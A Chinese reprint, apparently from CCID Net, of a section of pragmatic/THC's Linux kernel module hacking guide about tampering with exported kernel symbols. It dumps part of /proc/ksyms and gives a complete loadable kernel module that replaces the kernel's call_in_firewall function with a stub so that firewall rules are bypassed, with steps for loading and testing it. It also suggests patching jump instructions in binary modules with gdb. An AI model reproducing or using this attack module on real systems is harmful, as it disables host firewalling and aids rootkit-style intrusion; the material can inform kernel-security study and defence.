科技动态 | 硬件广场 | 下载基地 | 网络教室 | 网络冲浪 | 科学博览 | 移动时代 | 手机上网 | 桌面壁纸 | 科技商情 |
2.3 迷惑内核的系统表
任何列在/proc/ksysms的东西可以被入侵.记住我们的模块不能被这种方法损害,因为我们根本不输出任何符号.这里展示/proc/ksyms一些小小的部分,用来演示你实际上能做那些改动. ... 001bf1dc ppp_register_compressor 001bf23c ppp_unregister_compressor 001e7a10 ppp_crc16_table 001b9cec slhc_init 001b9ebc slhc_free 001baa20 slhc_remember 001b9f6c slhc_compress 001ba5dc slhc_uncompress 001babbc slhc_toss 001a79f4 register_serial 001a7b40 unregister_serial 00109cec dump_thread 00109c98 dump_fpu 001c0c90 __do_delay 001c0c60 down_failed 001c0c80 down_failed_interruptible 001c0c70 up_wakeup 001390dc sock_register 00139110 sock_unregister 0013a390 memcpy_fromiovec 001393c8 sock_setsockopt 00139640 sock_getsockopt 001398c8 sk_alloc 001398f8 sk_free 00137b88 sock_wake_async 00139a70 sock_alloc_send_skb 0013a408 skb_recv_datagram 0013a580 skb_free_datagram 0013a5cc skb_copy_datagram 0013a60c skb_copy_datagram_iovec 0013a62c datagram_select 00141480 inet_add_protocol 001414c0 inet_del_protocol 001ddd18 rarp_ioctl_hook 001bade4 init_etherdev 00140904 ip_rt_route 001408e4 ip_rt_dev 00150b84 icmp_send 00143750 ip_options_compile 001408c0 ip_rt_put 0014faa0 arp_send 0014f5ac arp_bind_cache 001dd3cc ip_id_count 0014445c ip_send_check 00142bc0 ip_forward 001dd3c4 sysctl_ip_forward 0013a994 register_netdevice_notifier 0013a9c8 unregister_netdevice_notifier 0013ce00 register_net_alias_type 0013ce4c unregister_net_alias_type 001bb208 register_netdev 001bb2e0 unregister_netdev 001bb090 ether_setup 0013d1c0 eth_type_trans 0013d318 eth_copy_and_sum 0014f164 arp_query 00139d84 alloc_skb 00139c90 kfree_skb 00139f20 skb_clone 0013a1d0 dev_alloc_skb 0013a184 dev_kfree_skb 0013a14c skb_device_unlock 0013ac20 netif_rx 0013ae0c dev_tint 001e6ea0 irq2dev_map 0013a7a8 dev_add_pack 0013a7e8 dev_remove_pack 0013a840 dev_get 0013b704 dev_ioctl 0013abfc dev_queue_xmit 001e79a0 dev_base 0013a8dc dev_close 0013ba40 dev_mc_add 0014f3c8 arp_find 001b05d8 n_tty_ioctl 001a7ccc tty_register_ldisc 0012c8dc kill_fasync 0014f164 arp_query 00155ff8 register_ip_masq_app 0015605c unregister_ip_masq_app 00156764 ip_masq_skb_replace 00154e30 ip_masq_new 00154e64 ip_masq_set_expire 001ddf80 ip_masq_free_ports 001ddfdc ip_masq_expire 001548f0 ip_masq_out_get_2 001391e8 register_firewall 00139258 unregister_firewall 00139318 call_in_firewall 0013935c call_out_firewall 001392d4 call_fw_firewall ... 看看call_in_firewall,这是一个被内核中防火墙管理调用的函数.如果我们用一个假的函数替换这个调用,会发生什么情况呢? 看看下面的LKM: #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> /*获得输出的函数*/ extern int *call_in_firewall; /*我们自己的没有意义的call_in_firewall*/ int new_call_in_firewall() { return 0; } int init_module(void) /*初始化模块*/ { call_in_firewall=new_call_in_firewall; return 0; } void cleanup_module(void) /*卸载模块*/ { } 编译并且加载这个模块,然后输入'ipfwadm -l -a deny'.最后'ping 127.0.0.1',你的内核会准确的产生一个错误信息.因为对call_in_firewall(....)的调用被一个假的替换了.(在这个例子中你可以跳过防火墙的安装) 这是一个相当野蛮的消灭输出模块的方法.你也可以用gdb反汇编某个模块然后通过改变某个字节来改变模块的工作方式.反汇编这个函数然后搜索一些像JNZ,JNE这样的命令...用这种方法你可以对重要的部分进行更改.当然,你可以在内核/模块的源代码中查找这些函数.但是对于那些没有源代码而只有二进制模块的符号你该这么办呢?在这里反汇编是相当有趣的.
摘自《赛迪网》 pragmatic/THC,(版本1.0)/文
|
|
版权所有 中华网 |